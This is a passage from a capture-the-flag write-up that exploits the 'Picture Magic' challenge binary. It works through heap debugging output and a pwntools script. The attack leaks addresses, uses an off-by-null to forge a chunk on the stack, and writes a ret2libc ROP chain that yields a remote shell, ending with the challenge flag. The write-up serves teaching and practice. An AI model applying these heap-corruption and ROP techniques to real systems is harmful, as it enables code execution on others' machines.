Chunk(addr=0x55555555c790, size=0x500, flags=PREV_INUSE, fd=0x00055555555c, bk=0x000000000000)
Chunk(addr=0x55555555cc90, size=0x500, flags=PREV_INUSE, fd=0x00055555555c, bk=0x000000000000)
Chunk(addr=0x55555555d190, size=0x500, flags=PREV_INUSE, fd=0x00055555555d, bk=0x000000000000)
Chunk(addr=0x55555555d690, size=0x1f970, flags=PREV_INUSE, fd=0x00055555555d, bk=0x000000000000) <- top
gef> bins
------------------------------------------------------------- Tcachebins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in tcache.
-------------------------------------------------------------- Fastbins for arena 'main_arena' --------------------------------------------------------------
[+] Found 0 chunks in fastbin.
------------------------------------------------------------ Unsorted Bin for arena 'main_arena' ------------------------------------------------------------
[+] Found 0 chunks in unsorted bin.
------------------------------------------------------------- Small Bins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in 0 small non-empty bins.
------------------------------------------------------------- Large Bins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in 0 large non-empty bins.
gef> visual-heap
0x55555555c000: 0x0000000000000000 0x0000000000000291 | ................ |
0x55555555c010: 0x0000000000000000 0x0000000000000000 | ................ |
* 39 lines, 0x270 bytes
0x55555555c290: 0x0000000000000000 0x0000000000000501 | ................ |
0x55555555c2a0: 0x0000000000000000 0x0000000000000000 | ................ |
* 78 lines, 0x4e0 bytes
0x55555555c790: 0x0000000000000000 0x0000000000000501 | ................ |
0x55555555c7a0: 0x0000000000000000 0x0000000000000000 | ................ |
* 78 lines, 0x4e0 bytes
0x55555555cc90: 0x0000000000000000 0x0000000000000501 | ................ |
0x55555555cca0: 0x0000000000000000 0x0000000000000000 | ................ |
* 78 lines, 0x4e0 bytes
0x55555555d190: 0x0000000000000000 0x0000000000000501 | ................ |
0x55555555d1a0: 0x0000000000000000 0x0000000000000000 | ................ |
* 78 lines, 0x4e0 bytes
0x55555555d690: 0x0000000000000000 0x000000000001f971 | ........q....... | <- top
0x55555555d6a0: 0x0000000000000000 0x0000000000000000 | ................ |
* 8085 lines, 0x1f950 bytes
- Sell
0
(stack leak)2
and3
gef> chunks
Chunk(addr=0x55555555c000, size=0x290, flags=PREV_INUSE, fd=0x00055555555c, bk=0x000000000000)
Chunk(addr=0x55555555c290, size=0x500, flags=PREV_INUSE, fd=0x7ffff7df6cc0, bk=0x7ffff7df6cc0) <- unsortedbins[1/1]
Chunk(addr=0x55555555c790, size=0x500, flags=, fd=0x00055555555c, bk=0x000000000000)
Chunk(addr=0x55555555cc90, size=0x20370, flags=PREV_INUSE, fd=0x55555555c290, bk=0x7ffff7df6cc0) <- top
gef> bins
------------------------------------------------------------- Tcachebins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in tcache.
-------------------------------------------------------------- Fastbins for arena 'main_arena' --------------------------------------------------------------
[+] Found 0 chunks in fastbin.
------------------------------------------------------------ Unsorted Bin for arena 'main_arena' ------------------------------------------------------------
unsorted_bins[idx=0, size=any, @0x7ffff7df6cd0]: fd=0x55555555c290, bk=0x55555555c290
-> Chunk(addr=0x55555555c290, size=0x500, flags=PREV_INUSE, fd=0x7ffff7df6cc0, bk=0x7ffff7df6cc0)
[+] Found 1 chunks in unsorted bin.
------------------------------------------------------------- Small Bins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in 0 small non-empty bins.
------------------------------------------------------------- Large Bins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in 0 large non-empty bins.
gef> visual-heap
0x55555555c000: 0x0000000000000000 0x0000000000000291 | ................ |
0x55555555c010: 0x0000000000000000 0x0000000000000000 | ................ |
* 39 lines, 0x270 bytes
0x55555555c290: 0x0000000000000000 0x0000000000000501 | ................ | <- unsortedbins[1/1]
0x55555555c2a0: 0x00007ffff7df6cc0 0x00007ffff7df6cc0 | .l.......l...... |
0x55555555c2b0: 0x0000000000000000 0x0000000000000000 | ................ |
* 77 lines, 0x4d0 bytes
0x55555555c790: 0x0000000000000500 0x0000000000000500 | ................ |
0x55555555c7a0: 0x0000000000000000 0x0000000000000000 | ................ |
* 78 lines, 0x4e0 bytes
0x55555555cc90: 0x0000000000000000 0x0000000000020371 | ........q....... | <- top
0x55555555cca0: 0x000055555555c290 0x00007ffff7df6cc0 | ..UUUU...l...... |
0x55555555ccb0: 0x0000000000000000 0x0000000000000000 | ................ |
* 77 lines, 0x4d0 bytes
0x55555555d190: 0x0000000000000500 0x0000000000000500 | ................ |
...
- Allocate another picture
gef> chunks
Chunk(addr=0x55555555c000, size=0x290, flags=PREV_INUSE, fd=0x00055555555c, bk=0x000000000000)
Chunk(addr=0x55555555c290, size=0x500, flags=PREV_INUSE, fd=0x00055555555c, bk=0x7ffff7df6c00)
Chunk(addr=0x55555555c790, size=0x500, flags=PREV_INUSE, fd=0x00055555555c, bk=0x000000000000)
Chunk(addr=0x55555555cc90, size=0x20370, flags=PREV_INUSE, fd=0x55555555c290, bk=0x7ffff7df6cc0) <- top
gef> bins
------------------------------------------------------------- Tcachebins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in tcache.
-------------------------------------------------------------- Fastbins for arena 'main_arena' --------------------------------------------------------------
[+] Found 0 chunks in fastbin.
------------------------------------------------------------ Unsorted Bin for arena 'main_arena' ------------------------------------------------------------
[+] Found 0 chunks in unsorted bin.
------------------------------------------------------------- Small Bins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in 0 small non-empty bins.
------------------------------------------------------------- Large Bins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in 0 large non-empty bins.
gef> visual-heap
0x55555555c000: 0x0000000000000000 0x0000000000000291 | ................ |
0x55555555c010: 0x0000000000000000 0x0000000000000000 | ................ |
* 39 lines, 0x270 bytes
0x55555555c290: 0x0000000000000000 0x0000000000000501 | ................ |
0x55555555c2a0: 0x0000000000000000 0x00007ffff7df6c00 | .........l...... |
0x55555555c2b0: 0x0000000000000000 0x0000000000000000 | ................ |
* 77 lines, 0x4d0 bytes
0x55555555c790: 0x0000000000000500 0x0000000000000501 | ................ |
0x55555555c7a0: 0x0000000000000000 0x0000000000000000 | ................ |
* 78 lines, 0x4e0 bytes
0x55555555cc90: 0x0000000000000000 0x0000000000020371 | ........q....... | <- top
0x55555555cca0: 0x000055555555c290 0x00007ffff7df6cc0 | ..UUUU...l...... |
0x55555555ccb0: 0x0000000000000000 0x0000000000000000 | ................ |
* 77 lines, 0x4d0 bytes
0x55555555d190: 0x0000000000000500 0x0000000000000500 | ................ |
...
- Now, the next picture we allocate will have
0x000055555555c290
inp->width
andp->height
fields:
gef> continue
Continuing.
1
Width: a
Height: a
Chosen size of (1431683728, 21845) cannot be used!
Picture must not exceed 1264 bytes!
+------------------------------+
| Picture Magic |
+------------------------------+
| 1. Create picture |
| 2. Transform picture |
| 3. Show picture |
| 4. Sell picture |
| 5. Change artist name |
| 6. Exit |
+------------------------------+
-> ^C
gef> p/x 1431683728ul | (21845ul << 32)
$1 = 0x55555555c290
Having shown this, let’s write it in the exploit:
sell(2)
sell(3)
p.sendlineafter(b'-> ', b'1')
p.sendlineafter(b'Width: ', b'asdf')
p.sendlineafter(b'Height: ', b'asdf')
p.recvuntil(b'Chosen size of ')
width, height = literal_eval(p.recvuntil(b')').decode())
glibc.address = ((height << 32) | width) - 0x1f6cc0
p.success(f'Glibc base address: {hex(glibc.address)}')
create(0, 0)
p.sendlineafter(b'-> ', b'1')
p.sendlineafter(b'Width: ', b'asdf')
p.sendlineafter(b'Height: ', b'asdf')
p.recvuntil(b'Chosen size of ')
width, height = literal_eval(p.recvuntil(b')').decode())
heap_base_addr = ((height << 32) | width) - 0x290
p.success(f'Heap base address: {hex(heap_base_addr)}')
In addition, we can sell the remaining pictures we have to leave the heap like in the beginning:
sell(0)
sell(1)
Unlink checks bypass
At this point, we have everything we need to perform the null byte poisoning attack. First of all, let’s trigger the vulnerability:
create(0, 0) # A
create(0, 0) # B
sell(0)
create(0x4f0, 1) # A
With this code, we are allocating 3 pictures (labelled A
, B
, in order as they appear in the heap). We free A
, leaving B
untouched (this is the victim chunk). Next, we allocate another picture with maximum size, so that the last null byte modifies the PREV_INUSE
flag from B
.
Before the off-by-null:
gef> chunks
Chunk(addr=0x55555555c000, size=0x290, flags=PREV_INUSE, fd=0x00055555555c, bk=0x000000000000)
Chunk(addr=0x55555555c290, size=0x500, flags=PREV_INUSE, fd=0x7ffff7df6cc0, bk=0x7ffff7df6cc0) <- unsortedbins[1/1]
Chunk(addr=0x55555555c790, size=0x500, flags=, fd=0x00055555555c, bk=0x000000000000)
Chunk(addr=0x55555555cc90, size=0x20370, flags=PREV_INUSE, fd=0x00055555555c, bk=0x000000000000) <- top
gef> bins
------------------------------------------------------------- Tcachebins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in tcache.
-------------------------------------------------------------- Fastbins for arena 'main_arena' --------------------------------------------------------------
[+] Found 0 chunks in fastbin.
------------------------------------------------------------ Unsorted Bin for arena 'main_arena' ------------------------------------------------------------
unsorted_bins[idx=0, size=any, @0x7ffff7df6cd0]: fd=0x55555555c290, bk=0x55555555c290
-> Chunk(addr=0x55555555c290, size=0x500, flags=PREV_INUSE, fd=0x7ffff7df6cc0, bk=0x7ffff7df6cc0)
[+] Found 1 chunks in unsorted bin.
------------------------------------------------------------- Small Bins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in 0 small non-empty bins.
------------------------------------------------------------- Large Bins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in 0 large non-empty bins.
gef> visual-heap
0x55555555c000: 0x0000000000000000 0x0000000000000291 | ................ |
0x55555555c010: 0x0000000000000000 0x0000000000000000 | ................ |
* 39 lines, 0x270 bytes
0x55555555c290: 0x0000000000000000 0x0000000000000501 | ................ | <- unsortedbins[1/1]
0x55555555c2a0: 0x00007ffff7df6cc0 0x00007ffff7df6cc0 | .l.......l...... |
0x55555555c2b0: 0x0000000000000000 0x0000000000000000 | ................ |
* 77 lines, 0x4d0 bytes
0x55555555c790: 0x0000000000000500 0x0000000000000500 | ................ |
0x55555555c7a0: 0x0000000000000000 0x0000000000000000 | ................ |
* 78 lines, 0x4e0 bytes
0x55555555cc90: 0x0000000000000000 0x0000000000020371 | ........q....... | <- top
0x55555555cca0: 0x0000000000000000 0x0000000000000000 | ................ |
* 8245 lines, 0x20350 bytes
After the off-by-null:
gef> continue
Continuing.
1
Width: 1264
Height: 1
Reading picture into buffer:
================================
================================
Successfully read picture!
Picture has been assigned index 0.
+------------------------------+
| Picture Magic |
+------------------------------+
| 1. Create picture |
| 2. Transform picture |
| 3. Show picture |
| 4. Sell picture |
| 5. Change artist name |
| 6. Exit |
+------------------------------+
-> ^C
gef> chunks
Chunk(addr=0x55555555c000, size=0x290, flags=PREV_INUSE, fd=0x00055555555c, bk=0x000000000000)
Chunk(addr=0x55555555c290, size=0x500, flags=PREV_INUSE, fd=0x0004555551ac, bk=0x2020202020202020)
Chunk(addr=0x55555555c790, size=0x500, flags=, fd=0x00055555555c, bk=0x000000000000)
Chunk(addr=0x55555555cc90, size=0x20370, flags=PREV_INUSE, fd=0x00055555555c, bk=0x000000000000) <- top
gef> bins
------------------------------------------------------------- Tcachebins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in tcache.
-------------------------------------------------------------- Fastbins for arena 'main_arena' --------------------------------------------------------------
[+] Found 0 chunks in fastbin.
------------------------------------------------------------ Unsorted Bin for arena 'main_arena' ------------------------------------------------------------
[+] Found 0 chunks in unsorted bin.
------------------------------------------------------------- Small Bins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in 0 small non-empty bins.
------------------------------------------------------------- Large Bins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in 0 large non-empty bins.
gef> visual-heap
0x55555555c000: 0x0000000000000000 0x0000000000000291 | ................ |
0x55555555c010: 0x0000000000000000 0x0000000000000000 | ................ |
* 39 lines, 0x270 bytes
0x55555555c290: 0x0000000000000000 0x0000000000000501 | ................ |
0x55555555c2a0: 0x00000001000004f0 0x2020202020202020 | ........ |
0x55555555c2b0: 0x2020202020202020 0x2020202020202020 | |
* 77 lines, 0x4d0 bytes
0x55555555c790: 0x0a20202020202020 0x0000000000000500 | ......... |
0x55555555c7a0: 0x0000000000000000 0x0000000000000000 | ................ |
* 78 lines, 0x4e0 bytes
0x55555555cc90: 0x0000000000000000 0x0000000000020371 | ........q....... | <- top
0x55555555cca0: 0x0000000000000000 0x0000000000000000 | ................ |
* 8245 lines, 0x20350 bytes
See how all the picture contains white spaces and new line characters, but the relevant byte is the null byte that has set PREV_INUSE
to 0
.
At this point, we must put a negative prev_size
that goes to the name
buffer on the stack from this current chunk. For this, I wrote two helper functions:
def write_byte(b: int, index: int, column: int):
transform(index, 0, 0, column, b'mul')
transform(index, abs(b - 0x20), 0, column, b'add' if b > 0x20 else b'sub')
def write_qword(qword: bytes, offset: int, index: int):
for i, b in enumerate(qword):
if b:
write_byte(b, index, offset - (8 - i))
write_byte
first multiplies by 0
, so that we get a 0x20
byte there (null bytes are replaced by white spaces). Then, we add or substract in order to achieve the byte we want. The second function, write_qword
takes an 8-byte buffer and writes it byte by byte in the offset we want (if different from zero).
As you may have noticed, to keep things simple, every picture has p->width = 0
or p->height = 0
, except for one that has p->width = 0x4f0
and p->height = 1
. As a result, we will use always 0
for rows, we only care about columns.
So, we can get a negative prev_size
using the two’s complement and write it on the A
chunk at offset 0x4f0
:
two_c = lambda n: ((~(abs(n)) + 1) & 0xffffffffffffffff)
prev_size = two_c(heap_base_addr + 0x790 - name_addr)
write_qword(p64(prev_size), 0x4f0, 0)
If we debug with GDB at this point, we will have this:
$ python3 solve.py
[*] './picture_magic'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
[+] Starting local process './picture_magic': pid 4186899
[*] Name address: 0x7ffeba922820
[+] Glibc base address: 0x7f8280200000
[+] Heap base address: 0x555e78c98000
[*] running in new terminal: ['/usr/bin/gdb', '-q', './picture_magic', '4186899', '-x', '/tmp/pwnbsgc5h0m.gdb']
[+] Waiting for debugger: Done
gef> chunks
Chunk(addr=0x555e78c98000, size=0x290, flags=PREV_INUSE, fd=0x000555e78c98, bk=0x000000000000)
Chunk(addr=0x555e78c98290, size=0x500, flags=PREV_INUSE, fd=0x000455e78868, bk=0x2020202020202020)
Chunk(addr=0x555e78c98790, size=0x500, flags=, fd=0x000555e78c98, bk=0x000000000000)
Chunk(addr=0x555e78c98c90, size=0x20370, flags=PREV_INUSE, fd=0x555e78c98290, bk=0x7f82803f6cc0) <- top
gef> bins
------------------------------------------------------------- Tcachebins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in tcache.
-------------------------------------------------------------- Fastbins for arena 'main_arena' --------------------------------------------------------------
[+] Found 0 chunks in fastbin.
------------------------------------------------------------ Unsorted Bin for arena 'main_arena' ------------------------------------------------------------
[+] Found 0 chunks in unsorted bin.
------------------------------------------------------------- Small Bins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in 0 small non-empty bins.
------------------------------------------------------------- Large Bins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in 0 large non-empty bins.
gef> visual-heap
0x555e78c98000: 0x0000000000000000 0x0000000000000291 | ................ |
0x555e78c98010: 0x0000000000000000 0x0000000000000000 | ................ |
* 39 lines, 0x270 bytes
0x555e78c98290: 0x0000000000000000 0x0000000000000501 | ................ |
0x555e78c982a0: 0x00000001000004f0 0x2020202020202020 | ........ |
0x555e78c982b0: 0x2020202020202020 0x2020202020202020 | |
* 77 lines, 0x4d0 bytes
0x555e78c98790: 0xffffd55fbe375f70 0x0000000000000500 | p_7._........... |
0x555e78c987a0: 0x0000000000000000 0x0000000000000000 | ................ |
* 78 lines, 0x4e0 bytes
0x555e78c98c90: 0x0000000000000000 0x0000000000020371 | ........q....... | <- top
0x555e78c98ca0: 0x0000555e78c98290 0x00007f82803f6cc0 | ...x^U...l?..... |
0x555e78c98cb0: 0x0000000000000000 0x0000000000000000 | ................ |
* 77 lines, 0x4d0 bytes
0x555e78c99190: 0x0000000000000500 0x000000000001fe71 | ........q....... |
...
At this point, if we free the B
chunk, the heap allocator will notice that PREV_INUSE = 0
and will take the prev_size
field to “go up” looking for the previous chunk in order to consolidate. However, we are confusing the heap, so “going up” is actually “going down” since prev_size
is negative. Even more, the heap allocator will go to the name
buffer. Here we will put a fake chunk because we need to satisfy some conditions.
Assuming we had a chunk at the name
buffer, the heap allocator will take the fd
pointer and check that it points to the chunk being merged (the fake chunk). The same will be tested on bk
and two more fields known as fd_nextsize
and bk_nextsize
. Also, the fake chunk’s size must match the prev_size
. For more information, it is recommended to read Glibc source code.
So, we will add this:
change(p64(0) + p64(prev_size) + p64(name_addr) * 4)
We need to achieve something like this:
gef> x/10gx 0x7ffdf94aed90
0x7ffdf94aed90: 0x0000000000000000 0xffffd5d4b8842a00
0x7ffdf94aeda0: 0x00007ffdf94aed90 0x00007ffdf94aed90
0x7ffdf94aedb0: 0x00007ffdf94aed90 0x00007ffdf94aed90
0x7ffdf94aedc0: 0x0000000000000000 0x1ca2e06effecfe00
0x7ffdf94aedd0: 0x0000000000000001 0x00007fe802e23510
At this point, we can free the B
chunk and the unlink will take place. Now the heap is corrupted, we have modified the address of the top chunk. Let’s have a look at the arena
:
gef> arena
------------------------------------------------- [arena] ----- p ((struct malloc_state*) 0x7fef151f6c60)[0] -------------------------------------------------
$3 = {
mutex = 0x0,
flags = 0x0,
have_fastchunks = 0x0,
fastbinsY = {
[0x0] = 0x0,
[0x1] = 0x0,
...
[0x9] = 0x0
},
top = 0x7fffa0867980,
last_remainder = 0x0,
bins = {
[0x0] = 0x7fef151f6cc0 <main_arena+96>,
[0x1] = 0x7fef151f6cc0 <main_arena+96>,
...
[0xfd] = 0x7fef151f74a0 <main_arena+2112>
},
binmap = {
[0x0] = 0x0,
[0x1] = 0x0,
[0x2] = 0x0,
[0x3] = 0x0
},
next = 0x7fef151f6c60 <main_arena>,
next_free = 0x0,
attached_threads = 0x1,
system_mem = 0x21000,
max_system_mem = 0x21000
}
The top chunk points to the stack. This means that when we allocate a picture, it will be placed on the stack, near the name
buffer. As a result, we will be able to modify picture attributes and achieve an arbitrary write primitive. But first of all, we need to add a valid size for the top chunk, so that the program does not crash:
sell(1)
change(p64(0) + p64(0x20371))
Now we can allocate another picture and modify its size so that we have a large space to use transform_picture
:
index = create(0, 0)
change(p64(0) + p64(0x501) + p32(0xffffffff) + p32(1))
ROP chain
Since we have Glibc 2.36 and we are already on the stack, the best approach to get code execution is to place a ROP chain at the return address. Notice that we have an arbitrary write primitive, so no need to deal with the stack canary. Also, we are lucky that we don’t actually need to use null bytes, because the null bytes we need are already there from other memory addresses.
After a bit of debugging, we find the return address from main
and place a ret2libc ROP chain on the stack:
rop = ROP(glibc)
write_qword(p64(rop.ret.address), 56, index)
write_qword(p64(rop.rdi.address), 64, index)
write_qword(p64(next(glibc.search(b'/bin/sh'))), 72, index)
write_qword(p64(glibc.sym.system), 80, index)
p.sendlineafter(b'-> ', b'6')
p.recv()
p.interactive()
Finally, we call exit to trigger the ret
instruction from main
and execute the ROP chain. With all this, we have a shell locally:
$ python3 solve.py
[*] './picture_magic'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
[+] Starting local process './picture_magic': pid 12621
[*] Name address: 0x7fffe394d2d0
[+] Glibc base address: 0x7f6c18a00000
[+] Heap base address: 0x555bd93f4000
[*] Loaded 192 cached gadgets for 'libc.so.6'
[*] Switching to interactive mode
$ ls
build-docker.sh flag.txt libc.so.6 solve.py
Dockerfile ld-2.36.so picture_magic
Flag
Let’s try remotely:
$ python3 solve.py 167.99.85.216:31434
[*] './picture_magic'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
[+] Opening connection to 167.99.85.216 on port 31434: Done
[*] Name address: 0x7ffeff8d5740
[+] Glibc base address: 0x7f4fb970d000
[+] Heap base address: 0x56545a0de000
[*] Loaded 192 cached gadgets for 'libc.so.6'
[*] Switching to interactive mode
$ ls
flag.txt
ld-2.36.so
libc.so.6
picture_magic
$ cat flag.txt
HTB{h0u53_0f_31nh3rj4r_pu5h3d_b3y0nd_7h3_l1m17}
The full exploit script can be found in here: solve.py
.